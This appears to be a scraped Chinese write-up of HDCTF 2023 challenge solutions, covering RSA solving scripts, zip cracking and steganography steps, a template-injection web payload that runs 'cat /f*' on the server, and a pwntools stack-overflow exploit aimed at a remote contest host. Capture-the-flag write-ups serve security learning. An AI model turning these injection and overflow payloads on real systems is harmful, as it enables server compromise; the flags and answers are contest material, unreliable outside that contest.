Crypto 爬过小山去看云 由题目名字知道是hill+云影 得到密钥矩阵 3 4 19 11 随波逐流NSSCTF{NOTFLAG}
Normal_Rsa 打开就有flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from Crypto.Util.number import *#from shin import flag m=bytes_to_long(b'HDCTF{0b3663 ed-67e4-44e2-aee7-7c2d8665 b63c}') e=65537 p=getPrime(256 )#q=getPrime(512) q=6704006258427795304220450411280948926213189680360135534636452074716135019217911134480777251273836898349926894302122011679095979445240343891749741039976761 r=getPrime(512 ) n=p*q*r P=pow (p,2 ,n) Q=pow (q,2 ,n) c=pow (m,e,n) print(f"P = {P}" ) print(f"Q = {Q}" ) print(f"n = {n}" ) print(f"c = {c}" ) ''' P = 67732476934455 39441213578786 58164413604303 52426202652517 25630106817272 21242832528326 24173647864512 80269516220237 28956790405537 19625647108885 10272312707201 Q = 44943699913039 04735745683555 99253785124935 23252980366265 68689992512315 78871498901850 55864945749408 51410046165567 64745351531136 31214288057465 77666829197522 08487764014055 31599573114898 49245299084777 46280355525815 39370236080368 45764352315892 05655041120058 43410442573511 09530623390649 82042036595371 35943420051121 n = 47856138884659 91171479248142 01545330914954 88887554533679 91501772592797 68607546542681 55915287731234 74962122102667 47589353208734 39009047998314 74817826058951 26560707889348 73578785012807 82935653048309 49943017021401 54224929273239 61394806106719 56916845789004 02230271191153 92961801582406 28716764426631 98982767857877 30947633037300 31709845340985 14109361404881 50390919951503 76752251780903 547456 7 c = 22470275616367 91381460194811 20552008515085 12117959567509 55965051548230 84423321246252 51631079170677 68507367576366 32703584608953 49160905213572 12722275045521 11107710669572 17809438572315 70836500588468 48762081989368 88305708421767 95906808347617 42135398309463 92909791584139 35035603633331 78697822743915 50423651307996 47385116773171 90667040953515 71843913528888 75130028955334 87472720629214 695054 4 '''
Normal_Rsa(revenge) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from Crypto.Util.number import *#from shin import flag m=bytes_to_long(b'HDCTF{******}') e=65537 p=getPrime(256 ) q=getPrime(512 ) r=getPrime(512 ) n=p*q*r P=pow (p,2 ,n) Q=pow (q,2 ,n) c=pow (m,e,n) print(f"P = {P}" ) print(f"Q = {Q}" ) print(f"n = {n}" ) print(f"c = {c}" ) ''' P = 87602103743628 48654680470219 30996225069780 83349430360494 50523139299289 45131156330752 46471928309096 10600414977679 14698031460212 49631057727807 82771611415961 Q = 11292216403905 99001998892017 85103245191294 29215375106571 95574171341112 70255457254419 54222699179112 65719326034947 83040069250074 26544778496293 02547879079782 86600866688977 26172338853139 41284773381173 84319760669476 85350617978367 49577917101096 94089037373611 51608926781707 48636852474402 04926676748540 11058417282140 1 n = 12260605124589 73669989677223 63161467086815 43140877060257 85975778940760 31374094277716 51536724218984 02365268019320 80199394515394 27781667333168 26780160348492 15165262971365 07792965087544 39591227194425 75350878771121 72195116066600 14152044446616 50906549431924 37314974202605 81765087483888 70652608351453 10202223862370 94238507996028 47611501980338 10408432423049 42315516153707 24277025122111 22538749 c = 70721376513892 18220368861685 87140005141284 90067843534158 43217734634414 63315143907150 19977289070267 71187082554241 54814051177833 98256782959709 01188560688120 35173277401357 54397389883146 65372544333857 25254889589696 89386035085675 09519521067106 46294734182046 23815845770742 92318137318996 95831288930702 41819258088177 92124688476198 83707955120438 80557762094414 29996815747449 81554616337130 096378 5 '''
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from Crypto.Util.number import * import gmpy2e =65537 P = 8760210374362848654680470219309962250697808334943036049450523139299289451311563307524647192830909610600414977679146980314602124963105772780782771611415961 Q = 112922164039059900199889201785103245191294292153751065719557417134111270255457254419542226991791126571932603494783040069250074265447784962930254787907978286600866688977261723388531394128477338117384319760669476853506179783674957791710109694089037373611516089267817074863685247440204926676748540110584172821401 n = 12260605124589736699896772236316146708681543140877060257859757789407603137409427771651536724218984023652680193208019939451539427781667333168267801603484921516526297136507792965087544395912271944257535087877112172195116066600141520444466165090654943192437314974202605817650874838887065260835145310202223862370942385079960284761150198033810408432423049423155161537072427702512211122538749 c = 7072137651389218220368861685871400051412849006784353415843217734634414633151439071501997728907026771187082554241548140511778339825678295970901188560688120351732774013575439738988314665372544333857252548895896968938603508567509519521067106462947341820462381584577074292318137318996958312889307024181925808817792124688476198837079551204388055776209441429996815747449815546163371300963785 p,s =gmpy2.iroot(P,2) q,s =gmpy2.iroot(Q,2)r =n//(p*q) phi=(p-1)*(q-1)*(r-1)d =gmpy2.invert(e,phi)m =pow(c,d,n)print (long_to_bytes(m))
misc hardMisc zsteg嗦
ExtremeMisc binwalk分离出压缩包 爆破密码为haida
解出来得到双字节逆序的ziphttps://github.com/AabyssZG/FileReverse-Tools python FileReverse-Tools.py -re Reverse.piz
得到逆序好的zip,改后缀为.zip 继续爆破得到密码9724
secret.zip里的文件没密码里面是secret.txt,另一个压缩包里也有,对比crc32相同,明文攻击NSSCTF{u_a_a_master_@_c0mpRe553d_PaCKe1s}
MasterMisc 合并压缩包:linux:cat *.001 *.002 *.003 *.004 *.005 *.006 > x.zip
爆破密码:5483 解压得到: 看图片提示010打开找flag3 foremost分离 得到一个图片一个音频 图片爆破长宽高 得到flag2 音频: 看频谱图 得到flag1 HDCTF{e67d8104-7536-4433-bfff-96759901c405}
web Welcome To HDCTF 2023 jsfuck直接控制台
SearchMaster …………. post一个data,ssti payload:data={if system('cat /f*')}{/if}
reverse easy_re upx脱壳upx -d file
ida打开看main函数数里有base64字符串,解密就行
pwn pwnner 随机数预测+栈溢出 exp
1 2 3 4 5 6 7 8 9 from pwn import*elf =ELF('./pwnner') context.log_level = 'debug' x = remote('node6.anna.nssctf.cn' ,28888) x.recvuntil('you should prove that you love pwn,so input your name:' ) x.send(b'1956681178' ) payload = b'a' *64 +b'b' *8 +p64(0x4008b2) x.send(payload) x.interactive()